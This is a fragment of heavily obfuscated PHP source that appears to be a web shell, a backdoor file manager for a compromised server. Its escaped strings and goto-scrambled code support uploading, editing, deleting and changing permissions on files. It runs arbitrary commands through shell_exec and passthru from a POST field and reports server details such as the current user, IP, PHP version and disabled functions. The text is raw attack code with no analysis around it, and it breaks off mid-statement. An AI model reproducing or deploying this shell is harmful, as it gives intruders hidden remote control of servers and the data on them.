$_FILES["\146"]["\156\141\155\x65"][$zErae]; goto i2LLY; i2LLY: f2Y3T("\x66\x69\154\x65\40\x75\160\x6c\x6f\x61\x64\145\x64\40\x73\165\143\x63\x65\x73\x73\146\x75\154\x6c\171\41\134\156" . $f12FE); goto OrZ4o; zCGt4: $FK4d6 = $keVpk . "\57" . uGwhK($_GET["\156"]); goto aVplc; jUVbS: echo "\42\76\12\40\40\x20\x20\x20\40\40\x20\x3c\x2f\144\151\166\76\xa\x20\40\x20\x20\x20\40\40\40\x3c\x62\x75\x74\x74\157\x6e\x20\x74\x79\160\x65\75\x22\163\165\x62\x6d\151\x74\x22\x20\x6e\141\x6d\145\x3d\x22\x73\42\x20\x63\154\141\x73\x73\75\42\142\165\164\164\157\156\40\151\163\x2d\160\162\151\155\141\x72\171\x22\76\123\x61\166\x65\74\57\142\x75\164\164\x6f\x6e\76\12\40\x20\x20\40\x3c\x2f\146\157\162\155\x3e\xa"; goto NzkH4; vLcfu: isset($_POST["\x73"]) ? $mWJjd[13]($keVpk . "\57" . UGWhk($_GET["\x6e"]), $_POST["\x63\x74\156"]) ? f2y3T("\146\151\x6c\145\x20\x63\157\x6e\x74\x65\156\x74\x73\x20\143\150\141\156\147\145\144\x20\163\x75\x63\x63\145\163\x73\146\165\x6c\154\x79", 1, "\x26\141\75" . sIRA4("\166\151\x65\167") . "\x26\156\75{$_GET["\x6e"]}") : f2Y3t("\146\151\x6c\x65\x20\143\157\x6e\x74\145\156\x74\163\x20\146\141\151\x6c\145\144\40\164\x6f\x20\x63\150\141\156\x67\x65") : null; goto ynQAL; cyHmn: echo "\74\x2f\164\x65\x78\x74\x61\x72\145\141\76\12\40\x20\40\x20\x3c\x2f\144\151\x76\x3e\xa\x20\x20\x20\40\74\142\x75\164\164\x6f\156\40\164\x79\x70\145\75\x22\x73\165\x62\x6d\x69\x74\x22\40\156\x61\x6d\145\x3d\x22\163\42\x20\143\x6c\x61\x73\x73\x3d\x22\142\x75\x74\164\157\156\40\151\163\55\160\162\151\x6d\141\x72\x79\42\76\x53\x61\x76\x65\x3c\x2f\142\x75\164\164\157\x6e\76\xa\74\57\146\157\162\155\76\xa\12"; goto vLcfu; RR_mL: function PtPzR($awBwn) { goto rei4e; hpA04: header("\103\x6f\x6e\x74\145\x6e\x74\55\104\x69\x73\160\157\x73\151\x74\x69\157\x6e\72\40\x61\x74\x74\x61\143\x68\x6d\145\x6e\x74\x3b\40\146\x69\154\145\x6e\141\x6d\145\75\x22" . basename($uM71B) . "\42"); goto kOkwh; rei4e: $yrDZG = explode("\x2f", $awBwn); goto CkMd7; vVE9l: header("\x43\157\x6e\x74\x65\x6e\164\x2d\124\x79\x70\x65\72\40\141\160\x70\x6c\151\143\x61\164\x69\157\156\x2f\x6f\143\x74\145\x74\x2d\x73\x74\x72\145\x61\x6d"); goto QGOml; kOkwh: readfile($uM71B); goto D6w6q; D6w6q: Nt0gh: goto hIFS1; ybZXm: if (!file_exists($uM71B)) { goto Nt0gh; } goto AE2Ew; QGOml: header("\103\x6f\156\x74\x65\156\164\x2d\104\x65\163\143\x72\x69\160\x74\x69\157\156\72\x20\x46\x69\154\145\40\124\162\x61\156\163\146\x65\162"); goto DZxOa; CkMd7: $uM71B = uGwHK($yrDZG[0]) . "\57" . UgWhK($yrDZG[1]); goto ybZXm; AE2Ew: $W008J = mime_content_type($uM71B); goto vVE9l; DZxOa: header("\x43\x6f\156\164\x65\156\164\x2d\x4c\145\x6e\x67\x74\x68\x3a\40" . filesize($uM71B)); goto hpA04; hIFS1: } goto fwZTh; lXRD0: echo $mWJjd[18]($mWJjd[14]($keVpk . "\57" . ugWhK($_GET["\156"]))); goto cyHmn; M4x5x: echo "\x54\150\x65\40\x27\x7a\x69\x70\x27\40\x63\x6f\x6d\155\141\156\x64\40\151\x73\x20\x61\166\x61\151\154\x61\142\154\145\72\x20" . trim($bzgfY) . "\xa"; goto Rn_2N; xghJY: $mKxy1 = "\x74\x65\163\164\x5f\143\x6f\x6d\155\x61\x6e\x64\x5f\x75\156\x7a\151\160"; goto i8jP4; LYRJc: unlink($E5Z_f); goto yUqwZ; Dj8ry: mIOi_: goto EWy47; INqQY: echo "\x3c\x2f\x6e\x6f\x62\162\76\xa\x20\40\40\40\x20\x20\74\57\144\x69\166\x3e\xa\x20\x20\40\40\40\x20\74\x62\162\x3e\xa\40\40\40\x20\40\40\x20\40\74\x64\x69\166\40\x63\x6c\141\x73\163\75\x22\x69\163\x2d\x66\x61\x6d\151\154\x79\x2d\x6d\x6f\x6e\x6f\163\160\141\143\x65\x20\x62\165\x74\164\x6f\x6e\x20\x69\163\55\x69\156\x66\157\x20\x70\154\55\x32\40\x69\x73\55\157\165\164\154\151\156\x65\144\40\151\163\55\x69\156\x76\145\162\x74\145\x64\42\76\xa\x20\x20\x20\x20\x20\40\x20\40\74\142\40\x63\154\x61\163\163\75\42\x74\141\x67\x20\151\x73\x2d\x69\156\146\157\42\76\123\145\162\166\x65\162\40\111\120\x3c\57\x62\x3e\xa\x20\x20\40\40\40\x20\x20\x20\x3c\156\x6f\x62\162\x20\143\x6c\141\x73\163\75\x22\x6d\x78\55\x32\42\x3e"; goto hRGsN; nPlIh: if (!($uKjJE == "\144\x65\154\x65\x74\x65")) { goto mIOi_; } goto zCGt4; o2t6T: echo substr(sprintf("\45\157", fileperms(Ugwhk($_GET["\160"]) . "\57" . UgWHk($_GET["\144"]))), -4); goto Rjllv; mYmQW: if (!(isset($_POST["\x63\147\146"]) && isset($_POST["\x63\157\144\x65\x78"]))) { goto ISTc7; } goto qE85o; LWcmT: $huZFR = fopen(basename(UgWhK($_GET["\160"]) . "\57" . $_POST["\155\141\x6b\x65\146\151\x6c\x65"]), "\167") or die(F2Y3t("\x46\141\151\154\145\x64\x20\164\157\40\143\162\145\141\x74\145\40\x66\x69\x6c\145\x21", 0)); goto gWY2k; DD3Zf: TiVoG: goto J3Gof; aMauj: $qJtBd = new pkTmj(); goto m8TO1; xMxKr: echo $_SERVER["\123\105\122\x56\105\122\x5f\101\x44\115\x49\x4e"]; goto td1r3; aVil9: echo "\74\x2f\x6e\x6f\142\x72\76\x3c\x2f\x6c\x69\76\12\x20\x20\40\40\74\154\x69\x3e\x55\x73\145\x72\40\x3a\x20\x3c\x6e\157\x62\162\76"; goto cPk5D; Ka8IZ: JaEu0: goto i0L9P; GECeh: if (!isset($_GET["\x63\150\x6d\157\x64\x64"])) { goto A6KR2; } goto auHmR; a3KVK: $zErae = 0; goto GpfQr; qtvxW: f2y3t("\x46\151\154\145\x20\143\162\145\141\164\145\x64\41"); goto nycFR; Gi67v: if (!isset($_GET["\143\x68\x65\143\153\x7a\151\160"])) { goto QrVTg; } goto GarFd; FzZRE: echo "\42\x3e\x3c\x62\162\x3e\xa\40\x20\40\40\x20\x20\x3c\151\x6e\160\x75\164\40\x20\x63\154\141\163\x73\75\x22\x62\165\164\164\x6f\x6e\x20\151\x73\x2d\x70\162\x69\155\141\162\171\40\x6d\x6c\x2d\x32\42\40\x74\x79\x70\145\x3d\x22\x73\x75\x62\x6d\151\164\x22\x20\166\141\x6c\165\x65\x3d\42\x63\150\x6d\x6f\x64\42\x3e\xa\40\x20\x20\x20\x3c\x2f\x64\151\x76\x3e\12\x9\x3c\x2f\146\157\162\x6d\x3e\12\74\57\144\151\x76\x3e\xa\x9"; goto mYmQW; fptV5: echo $_SERVER["\x53\105\122\126\x45\122\137\x53\117\106\124\x57\101\x52\x45"]; goto oIwRl; aDHsV: echo "\74\x2f\163\x70\141\156\76\xa\x20\x20\74\57\150\64\x3e\xa\x20\x20\40\x20\74\x64\151\x76\40\x63\154\x61\x73\163\75\x22\x66\151\x65\x6c\144\x22\x3e\xa\x20\x20\x20\x20\40\x20\x3c\154\141\x62\x65\x6c\40\x66\x6f\162\75\42\x63\164\156\42\x20\x63\x6c\x61\x73\x73\x3d\42\154\141\x62\x65\x6c\x22\x3e\103\x6f\156\164\x65\x6e\164\74\x2f\154\141\142\145\x6c\76\12\40\x20\x20\40\x20\x20\x3c\x74\x65\170\164\141\162\145\x61\x20\156\141\155\x65\x3d\x22\x63\164\x6e\42\x20\151\144\x3d\x22\x63\x74\x6e\42\40\143\157\154\x73\75\x22\63\60\42\x20\162\x6f\167\163\75\42\x31\60\42\40\143\154\141\x73\163\x3d\42\x74\145\x78\x74\x61\162\x65\141\x22\x3e"; goto lXRD0; LjELl: goto xNsqm; goto koPNe; T4Cf5: F2Y3t("\x66\x61\151\154\x65\x64\40\x74\x6f\x20\x64\x65\x6c\145\x74\145\x20\x74\150\x65\40\146\x6f\154\144\145\162", 0); goto Gffop; IQvT0: C3vwP: goto GECeh; x_PfO: echo "\x3c\x2f\156\157\x62\162\x3e\12\40\40\x20\40\40\40\74\x2f\x64\x69\x76\x3e\xa\x20\40\40\x20\x20\40\x3c\x64\x69\166\x20\143\154\x61\x73\163\75\x22\151\x73\x2d\146\x61\155\x69\x6c\171\x2d\x6d\157\x6e\157\163\x70\141\x63\145\40\x62\x75\164\164\x6f\156\x20\151\x73\55\x6c\151\147\150\x74\x20\160\154\x2d\62\x20\x69\163\x2d\157\165\164\154\151\x6e\145\144\40\x69\x73\55\x69\156\x76\x65\162\164\x65\144\42\76\xa\x20\x20\40\x20\x20\40\40\x20\x3c\x62\x20\143\x6c\x61\163\x73\75\42\164\141\147\40\151\x73\55\x6c\151\x67\150\x74\x20\x68\141\163\55\x74\145\x78\164\x2d\x64\x61\162\153\x22\x3e\x44\151\x73\x61\x62\154\x65\x64\x20\146\165\x6e\143\164\x69\x6f\x6e\x73\74\x2f\142\76\xa\40\x20\x20\40\40\40\x20\x20\74\x6e\x6f\142\162\x20\143\154\x61\x73\163\x3d\x22\155\170\x2d\62\42\76"; goto te6fx; H4KG0: dovnk: goto ia13p; Xw8fQ: echo "\x3c\57\156\x6f\142\x72\76\x20\x7c\40\x53\x65\162\166\145\x72\40\101\144\155\x69\156\x20\x3a\x20"; goto xMxKr; m14ts: echo "\74\x64\151\x76\40\x63\x6c\x61\163\x73\x3d\42\x6d\x79\x2d\x34\x20\x6d\x78\55\62\42\76\xa\x20\40\40\40\x3c\x70\162\x65\x20\143\154\x61\163\163\x3d\42\x6d\55\60\40\x70\55\64\40\x69\163\x2d\163\x69\172\x65\x2d\x36\40\x68\141\163\x2d\164\145\x78\164\x2d\x70\162\151\x6d\x61\162\x79\42\40\163\x74\x79\x6c\x65\x3d\42\142\157\162\144\145\x72\x3a\x32\x70\x78\40\x73\157\x6c\151\144\x20\x68\x73\154\x28\x31\67\61\x2c\x20\61\x30\x30\x25\54\x20\x34\x31\45\x29\x3b\x62\157\162\x64\145\162\x2d\162\x61\x64\x69\165\163\x3a\61\62\160\x78\73\42\76"; goto eKyjG; Digjf: if (!isset($_GET["\143\x68\145\143\x6b\x73\x65\x6e\x64"])) { goto zbRWn; } goto lQQJ8; V8laz: tYGoe: goto IQvT0; i8jP4: if (is_dir($mKxy1)) { goto Y5xBO; } goto o0Ubs; tHsvF: echo "\47\x29\73\x61\x6c\145\162\x74\x28\47\103\157\160\151\145\144\x20\164\157\x20\143\x6c\151\x70\x62\157\x61\162\144\47\51\73\42\x20\143\x6c\x61\163\x73\x3d\x22\151\163\55\x66\x61\155\x69\x6c\171\55\155\157\156\x6f\163\x70\141\143\x65\40\142\165\164\x74\x6f\156\x20\151\x73\x2d\163\x75\x63\143\x65\163\x73\x20\x70\154\55\x32\40\x69\x73\55\157\165\x74\x6c\x69\156\x65\x64\40\151\163\55\x69\156\166\145\162\164\145\144\x22\76\xa\x20\40\x20\x20\40\40\40\40\74\x62\40\x63\x6c\141\x73\x73\x3d\x22\164\x61\x67\40\x69\x73\55\x73\x75\143\x63\x65\x73\x73\40\155\162\55\62\x22\76\x53\141\146\145\x6d\157\144\x65\74\x2f\142\x3e\xa\x20\x20\40\x20\40\40\x20\x20\x3c\156\x6f\x62\x72\76"; goto bmtvF; ppGjr: goto dovnk; goto fQcpx; jGCGI: goto jH9T2; goto g2Jgz; LISdx: echo $_SERVER["\x50\110\x50\137\x53\105\114\106"]; goto ucLKu; NQaSR: echo UgwHk($_GET["\x6e"]); goto fWCEd; o7FZW: echo "\74\57\141\76\x3c\x2f\x63\x65\156\164\145\x72\x3e\xa\x20\40\x20\40\x20\40\74\x2f\150\63\x3e\12\x20\x20\x20\40\x3c\144\151\166\40\143\154\x61\x73\x73\x3d\x22\151\163\55\x66\154\145\170\x22\163\x74\171\x6c\x65\x3d\42\152\165\163\164\151\x66\171\55\x63\157\x6e\164\x65\x6e\x74\x3a\x73\160\x61\143\145\x2d\142\x65\x74\167\145\x65\156\42\76\12\12\x20\40\40\x20\74\144\x69\x76\40\163\x74\171\x6c\145\75\x22\x64\151\163\x70\x6c\x61\171\72\x20\x66\154\x65\x78\73\x66\154\145\x78\x2d\167\x72\x61\x70\72\40\x77\x72\x61\160\73\x6d\141\x78\55\167\151\144\164\150\x3a\40\x36\60\166\x77\x3b\147\141\x70\72\66\160\170\42\76\xa\40\x20\x20\x20\40\40\x3c\144\x69\x76\x20\157\x6e\143\154\x69\x63\153\75\42\x6e\141\x76\151\x67\141\x74\157\x72\56\x63\x6c\x69\x70\142\157\x61\162\x64\56\x77\162\x69\164\x65\x54\145\170\x74\x28\x27"; goto ousj7; S8AsQ: die("\143\150\145\x63\x6b\x2d\162\145\x73\165\154\164\x2d\61"); goto pur8d; J3Gof: echo "\x20\x20\x20\x20\40\40\74\57\x66\157\162\x6d\76\12\x20\x20\40\40\40\x20\x3c\57\x64\x69\x76\x3e\12\40\x20\x20\x20\x3c\57\x64\151\166\76\12\x20\x20\x20\74\x66\x6f\x72\x6d\40\155\145\164\x68\157\x64\x3d\42\107\105\x54\x22\x20\x6e\141\155\x65\75\42"; goto pQMdN; e3BHi: $G21FS = $_FILES["\x66"]["\x6e\141\x6d\x65"]; goto a3KVK; VqRBx: echo "\x27\51\73\x61\x6c\x65\162\x74\50\x27\103\157\x70\151\145\144\x20\164\x6f\x20\143\154\x69\160\x62\x6f\x61\162\x64\x27\51\x3b\42\40\x63\x6c\x61\x73\x73\x3d\42\151\x73\55\x66\x61\x6d\151\154\171\x2d\155\157\156\157\163\x70\x61\143\145\x20\142\x75\164\164\157\x6e\40\x69\163\55\x6c\151\156\153\40\x70\x6c\x2d\x32\x20\151\x73\55\x6f\165\164\154\x69\156\145\144\x22\76\12\x20\40\x20\40\x20\x20\40\x20\x3c\x62\x20\143\154\x61\x73\163\x3d\42\164\141\147\x20\x69\x73\55\154\x69\156\153\x20\x6d\162\55\62\x22\76\x55\156\x61\x6d\145\x3c\x2f\x62\x3e\xa\40\x20\x20\x20\x20\40\x20\x20\x3c\x6e\x6f\142\162\76"; goto hJOeL; IZHGt: $c4zya = strlen($Q0FGf); goto Und2g; nIBSq: function UocA2() { goto wuGR4; wuGR4: if (function_exists("\x63\165\x72\x6c\x5f\x76\145\162\x73\151\x6f\156")) { goto pNMw7; } goto QyyUB; spHOa: Rr2A4: goto e0n2a; XjKod: pNMw7: goto rRkXm; rRkXm: return "\117\x4e"; goto spHOa; QyyUB: return "\117\106\106"; goto yOf5H; yOf5H: goto Rr2A4; goto XjKod; e0n2a: } goto q7MtI; Y43gU: echo "\74\57\163\x70\x61\156\x3e\12\x20\40\x3c\57\x68\x34\76\xa\x20\x20\x3c\164\145\x78\x74\141\162\x65\x61\40\x6e\x61\x6d\x65\x3d\x22\143\164\x6e\42\40\151\144\75\42\143\164\x6e\42\x20\x63\157\x6c\163\x3d\x22\63\x30\42\40\162\x6f\167\163\x3d\x22\61\x35\x22\40\143\154\x61\163\163\75\x22\x74\x65\170\164\x61\x72\x65\x61\40\x69\163\x2d\146\141\155\x69\154\x79\x2d\155\157\x6e\157\x73\160\141\143\145\x22\x20\162\x65\141\x64\x6f\156\154\171\x3e"; goto zG1WA; hVz2W: xYS3g: goto d82TW; ia13p: function IyZXr($dU_aF) { goto mQaK_; rX3Ri: $zErae .= $keVpk & 0x8 ? $keVpk & 0x400 ? "\x73" : "\170" : ($keVpk & 0x400 ? "\x53" : "\55"); goto BiL8B; x2MQn: oGajv: goto FW8nJ; jQDIN: hWjg1: goto ug290; Xd3Ot: if (($keVpk & 0x1000) == 0x1000) { goto cSCnt; } goto Swit4; Ku9jS: goto oGajv; goto jQDIN; QPLw9: P1QLh: goto tIMzq; mQaK_: $keVpk = fileperms($dU_aF); goto BRw__; pk1pa: $zErae = "\163"; goto HFq8o; PGG4j: Biz53: goto ZKLiK; NBFVR: sjT26: goto BQlCm; H3hVd: $zErae .= $keVpk & 0x20 ? "\162" : "\55"; goto OcsnT; NKQXq: goto oGajv; goto PGG4j; VTSjS: goto oGajv; goto g5Mac; N81UG: if (($keVpk & 0x8000) == 0x8000) { goto Biz53; } goto jrSln; jXKBs: if (($keVpk & 0x2000) == 0x2000) { goto sjT26; } goto Xd3Ot; Jb7e_: $zErae = "\x62"; goto Ku9jS; jrSln: if (($keVpk & 0x6000) == 0x6000) { goto G0wWt; } goto MrVyJ; yy9PJ: $zErae .= $keVpk & 0x1 ? $keVpk & 0x200 ? "\x74" : "\x78" : ($keVpk & 0x200 ? "\x54" : "\55"); goto AYBhA; ZKLiK: $zErae = "\55"; goto tfgeN; HFq8o: goto oGajv; goto QPLw9; mkisg: $zErae .= $keVpk & 0x40 ? $keVpk & 0x800 ? "\163" : "\170" : ($keVpk & 0x800 ? "\x53" : "\55"); goto H3hVd; M8E43: G0wWt: goto Jb7e_; VCefQ: $zErae .= $keVpk & 0x2 ? "\167" : "\55"; goto yy9PJ; ug290: $zErae = "\x64"; goto LwWhn; MrVyJ: if (($keVpk & 0x4000) == 0x4000) { goto hWjg1; } goto jXKBs; ds60H: $zErae = "\160"; goto x2MQn; AYBhA: return $zErae; goto AYw2K; tfgeN: goto oGajv; goto M8E43; FW8nJ: $zErae .= $keVpk & 0x100 ? "\162" : "\x2d"; goto kHZep; t0RIp: kko_d: goto pk1pa; QQtXq: goto oGajv; goto t0RIp; Swit4: $zErae = "\165"; goto QQtXq; g5Mac: cSCnt: goto ds60H; LwWhn: goto oGajv; goto NBFVR; tIMzq: $zErae = "\x6c"; goto NKQXq; OcsnT: $zErae .= $keVpk & 0x10 ? "\167" : "\55"; goto rX3Ri; kHZep: $zErae .= $keVpk & 0x80 ? "\167" : "\55"; goto mkisg; BiL8B: $zErae .= $keVpk & 0x4 ? "\x72" : "\x2d"; goto VCefQ; BQlCm: $zErae = "\143"; goto VTSjS; BRw__: if (($keVpk & 0xc000) == 0xc000) { goto kko_d; } goto pedxa; pedxa: if (($keVpk & 0xa000) == 0xa000) { goto P1QLh; } goto N81UG; AYw2K: } goto FkiWe; uDHys: $mWJjd = array("\67\60\x36\x38\x37\x30\x35\x66\x37\x35\66\145\x36\61\66\x64\66\x35", "\67\x30\66\70\x37\60\x37\x36\66\x35\x37\x32\67\x33\x36\71\x36\146\66\145", "\66\67\x36\x35\67\64\66\x33\67\x37\66\64", "\x36\x33\66\70\x36\x34\x36\x39\67\x32", "\x37\x30\67\62\66\65\x36\67\65\146\67\63\x37\60\66\x63\66\71\x37\x34", "\x36\x31\67\62\67\62\x36\x31\67\x39\65\x66\x36\64\x36\71\x36\x36\x36\x36", "\x36\71\x37\x33\65\x66\x36\x34\x36\x39\x37\62", "\x36\x39\x37\63\65\146\66\x36\x36\71\66\x63\66\65", "\x36\71\x37\x33\x35\146\x37\67\67\x32\x36\71\67\64\x36\x31\66\x32\66\x63\66\65", "\66\71\x37\63\x35\x66\x37\62\66\65\x36\61\66\x34\66\61\66\x32\66\x63\x36\65", "\66\x36\x36\71\x36\143\66\x35\x37\x33\66\x39\x37\141\66\x35", "\x36\63\66\146\67\60\67\71", "\66\66\x36\x39\x36\143\66\x35\65\146\66\65\67\70\x36\71\x37\63\67\64\67\x33", "\x36\66\66\x39\66\x63\x36\65\65\x66\x37\x30\67\x35\67\64\65\x66\66\63\x36\x66\66\145\67\x34\x36\65\x36\x65\x37\64\67\x33", "\x36\x36\66\x39\x36\143\x36\x35\65\x66\x36\x37\x36\65\x37\x34\65\146\x36\63\x36\146\x36\x65\67\64\66\65\66\145\x37\64\x37\63", "\x36\144\x36\x62\66\x34\x36\71\x37\62", "\67\62\x36\65\x36\x65\x36\61\66\x64\x36\x35", "\x37\63\x37\64\67\x32\x37\64\66\146\67\x34\66\x39\66\x64\66\x35", "\x36\70\x37\64\x36\x64\x36\x63\x37\63\67\60\x36\65\66\63\66\71\66\61\x36\143\x36\63\x36\70\x36\61\67\62\67\63", "\66\x34\66\61\x37\64\x36\65", "\x36\x36\66\71\66\x63\x36\x35\66\x64\x37\x34\x36\71\x36\144\66\65"); goto Ii6qh; yTsJL: $mWJjd[3](ugWhk($_GET["\160"])); goto H4KG0; o0Ubs: mkdir($mKxy1); goto EKNsB; dC1QV: if (!isset($_GET["\143\150\155\x6f\x64\146"])) { goto jRMyk; } goto l750i; cPk5D: echo get_current_user(); goto Xw8fQ; ucLKu: echo "\42\x3e"; goto yAZoh; UvaCs: echo shell_exec($_POST["\145\x78\145\x63\155\144"]); goto KjXt9; SgmfV: $FZEHa = false; goto pVwzF; wltfg: phpinfo(); goto qZ3ot; Gffop: goto XD1zL; goto aXR3g; l750i: echo "\40\40\x3c\x64\151\x76\40\143\154\141\163\x73\x3d\42\143\157\x6e\164\x61\151\156\145\162\x20\x69\163\x2d\155\x61\x78\55\x74\x61\x62\x6c\145\164\42\x3e\xa\11\x3c\146\x6f\x72\155\x20\x61\x63\164\151\x6f\156\x3d\x22\x22\x20\143\x6c\x61\163\x73\x3d\42\142\x6f\x78\x22\x20\x6d\145\x74\x68\157\x64\x3d\42\x50\117\x53\124\42\40\x63\x6c\141\163\163\x3d\42\155\171\55\x32\x22\x20\163\164\x79\154\x65\x3d\42\x62\x6f\x72\144\x65\x72\72\x31\x70\170\40\x73\157\x6c\151\144\x20\x68\x73\154\x28\x31\67\x31\x2c\x20\x31\x30\x30\x25\x2c\x20\64\x31\x25\51\x3b\x22\x3e\12\x9\x9\74\154\x61\142\x65\x6c\40\143\x6c\141\163\163\x3d\x27\154\141\x62\x65\x6c\x27\x3e\x3c\163\160\141\x6e\x20\143\154\x61\163\x73\x3d\x22\x68\141\x73\55\164\x65\170\164\55\x70\x72\151\x6d\141\162\171\42\76\x43\150\141\x6e\x67\x65\x20\x50\145\162\155\x69\x73\x73\151\157\x6e\40\x46\x6f\x72\x20\106\151\154\x65\x3a\74\57\x73\160\x61\x6e\x3e\40"; goto NQaSR; kRxWW: echo substr(sprintf("\x25\x6f", fileperms(UGwHK($_GET["\x70"]) . "\x2f" . uGWHK($_GET["\156"]))), -4); goto FzZRE; XxcOa: $QI9IR = shell_exec("\165\156\x7a\151\160\x20{$fKgA3}\x20\x2d\144\x20{$mKxy1}\40\62\x3e\x26\x31"); goto KNEon; aygGR: cNHru: goto u2Psj; ynQAL: goto xNsqm; goto zkSv_; Ygctf: echo "\x20\x20\x3c\146\x6f\x72\155\40\x6d\x65\164\150\157\x64\x3d\x22\160\x6f\163\x74\42\x20\x63\154\x61\x73\x73\x3d\x22\142\157\170\42\163\164\x79\x6c\x65\75\x22\142\x6f\x72\x64\145\162\72\62\x70\x78\x20\x73\157\154\x69\144\40\x68\x73\154\x28\61\x37\61\x2c\x20\61\60\x30\x25\x2c\40\61\x36\x25\51\42\76\xa\x20\x20\40\40\74\150\64\x20\x63\154\x61\x73\x73\x3d\x22\151\x73\x2d\163\x69\172\x65\55\65\x20\x68\x61\x73\x2d\x74\x65\x78\164\x2d\167\x65\x69\x67\x68\x74\55\x62\157\x6c\x64\40\x68\x61\x73\x2d\164\x65\170\x74\x2d\160\x72\x69\x6d\x61\162\x79\40\155\x62\x2d\x34\x22\x3e\x52\145\x6e\x61\x6d\x65\40"; goto eIumX; aVplc: if (!($_GET["\x74"] == "\144")) { goto v0eS9; } goto xZKMy; ni_Wu: echo "\x5a\x69\160\40\146\x69\x6c\145\x20\143\x72\x65\x61\164\x65\144\x20\163\165\x63\x63\x65\163\x73\146\x75\x6c\x6c\171\40\165\x73\151\156\x67\x20\x63\157\x6d\x6d\x61\x6e\x64\x20\x6c\x69\x6e\145\56\12"; goto xghJY; zYm0b: $qJtBd->extractTo(getcwd()); goto He1Ij; Q1b9f: if ($uKjJE == "\156\x65\167\106\x69\x6c\x65") { goto UMC9K; } goto ez7b5; cxhRw: goto xNsqm; goto JAjFD; D2wrg: echo "\xa\74\x64\151\x76\40\x63\x6c\x61\163\163\75\42\151\163\x2d\x66\x6c\x65\170\40\x69\x73\55\141\x6c\151\x67\x6e\x2d\x69\x74\x65\x6d\x73\55\145\156\x64\40\x70\x78\55\62\x22\x3e\12\x20\40\x3c\144\x69\x76\x20\x63\154\x61\x73\x73\x3d\x22\142\147\x2d\x64\141\162\x6b\40\142\x6f\x72\x64\145\162\x20\x74\x61\x62\x6c\145\x2d\x72\x65\x73\160\x6f\x6e\163\x69\x76\x65\40\155\164\x2d\62\40\x6d\162\x2d\62\x22\x3e\xa\40\x20\40\40\x3c\144\x69\x76\40\143\x6c\x61\163\163\75\42\x69\x73\x2d\146\141\x6d\x69\154\171\x2d\x6d\x6f\156\157\163\160\141\143\145\40\x62\165\x74\x74\x6f\x6e\40\151\x73\x2d\154\151\147\x68\x74\40\x69\x73\55\x72\x6f\165\x6e\144\145\x64\40\x69\163\x2d\x6f\165\164\154\x69\156\x65\x64\x22\x3e\xa\x20\x20\x20\x20\x20\40\x3c\163\x70\141\x6e\x3e\104\157\143\165\155\x65\156\164\40\122\x6f\157\164\72\x20"; goto FMjRe; k5wXS: echo passthru($_POST["\145\170\145\x63\x6d\x64"]); goto rwbFS; dJUVQ: f2Y3T("\106\141\x69\x6c\145\144\x20\x74\157\x20\145\x78\x74\162\x61\143\164\40\132\x49\120\x20\106\x69\154\x65\41", 0); goto viuV1; uB_8o: if (!isset($_POST["\x6d\x61\x6b\145\144\151\x72"])) { goto ezLha; } goto EJLF0; QOq4Y: goto e3VtV; goto DNDGC; Np5bS: echo substr(@phpversion(), 0, 20); goto RRg2S; EKNsB: Y5xBO: goto XxcOa; q7MtI: function Nut1O() { goto dQq0o; dQq0o: if (function_exists("\101\x4a\x5f\172\x33")) { goto po96r; } goto yPo88; XrNvF: po96r: goto A83Z1; A83Z1: return "\117\116"; goto UgQb4; yPo88: return "\117\x46\x46"; goto r6yia; UgQb4: Je2gA: goto c4NS2; r6yia: goto Je2gA; goto XrNvF; c4NS2: } goto yLU0O; FhGzc: function fGYw1($FK4d6, $jOTZk) { goto mT7h7; TYCSS: aP02V: goto Kp1c7; Rp3J0: $zErae = strlen($jOTZk) - 1; goto TYCSS; aSOtD: if (!(is_dir($FK4d6) || is_file($FK4d6))) { goto KFsRI; } goto e7dUt; VxNBY: --$zErae; goto ZvLKF; Ii1Xf: m50Oe: goto EQXoo; ZvLKF: goto aP02V; goto UXt25; e7dUt: if (!chmod($FK4d6, $LCW_S)) { goto m50Oe; } goto vu_Dt; mT7h7: $LCW_S = 0; goto Rp3J0; qWuht: VkyFb: goto VxNBY; Kp1c7: if (!($zErae >= 0)) { goto nlWHW; } goto KsKjI; KsKjI: $LCW_S += (int) $jOTZk[$zErae] * pow(8, strlen($jOTZk) - $zErae - 1); goto qWuht; EQXoo: KFsRI: goto RxyMT; vu_Dt: f2y3t("\x50\145\x72\155\x69\x73\x73\151\157\x6e\40\146\x6f\162\x20" . $FK4d6 . "\x5c\x6e\x43\x68\x61\156\x67\x65\x64\40\164\157\x20\55\x3e\40" . $jOTZk); goto Ii1Xf; UXt25: nlWHW: goto aSOtD; RxyMT: } goto Cq9ID; OhcY4: NbHdV: goto Dj8ry; sR1SU: l7TE1: goto aIh43; u2Psj: A6KR2: goto dC1QV; K8G1p: echo uGwhK($_GET["\156"]); goto jUVbS; qBcvL: echo "\x3c\57\x6e\157\142\x72\x3e\xa\x20\40\40\x20\40\x20\x20\40\74\142\x20\x63\x6c\x61\163\x73\75\x22\164\x61\x67\40\x69\x73\x2d\154\151\x67\x68\164\40\150\x61\x73\55\164\145\x78\x74\x2d\x64\x61\162\153\40\155\162\55\x32\x22\x3e\x4d\x79\123\x51\114\x3c\x2f\x62\x3e\xa\40\x20\x20\x20\x20\40\x20\x20\74\156\157\142\x72\76"; goto Vk0NB; jsW6g: die("\143\150\145\143\x6b\55\162\x65\163\x75\154\x74\55\x30"); goto d7XNG; fQcpx: X1heF: goto krM1G; HiUWT: $huZFR = $_POST["\172\151\160\x66\x69\x6c\x65"]; goto aMauj; fsnFz: Zdbyj: goto LWcmT; FkiWe: function F2y3T($oJwbz, $wWmdu = 1, $FK4d6 = '') { goto yyUAs; yyUAs: global $keVpk; goto Ggz2v; b7Iui: echo "\x3c\163\143\x72\151\x70\164\x3e\163\x77\141\154\50\173\164\151\x74\154\145\72\40\x22{$VpA9t}\42\x2c\x20\x74\x65\170\x74\72\40\x22{$oJwbz}\42\54\x20\151\143\157\156\x3a\40\42{$VpA9t}\42\x7d\51\56\164\150\145\156\x28\x28\142\164\x6e\x43\x6c\x69\x63\153\51\x20\x3d\x3e\x20\173\x63\157\x6e\x73\164\40\x6c\157\x63\75\47" . SIrA4($keVpk) . $FK4d6 . "\47\73\x69\146\x28\142\x74\156\x43\154\151\x63\x6b\46\46\154\x6f\143\51\173\x64\157\x63\165\155\145\156\x74\x2e\154\x6f\143\141\x74\151\157\156\x2e\x68\162\145\146\75\x27\77\x70\x3d\47\x2b\154\157\143\x7d\175\51\x3c\x2f\163\143\162\x69\x70\x74\76"; goto IpEq7; Ggz2v: $VpA9t = $wWmdu == 1 ? "\163\165\143\143\x65\x73\x73" : "\145\x72\162\157\x72"; goto b7Iui; IpEq7: } goto aEVGs; jMwg9: if (!($zErae < 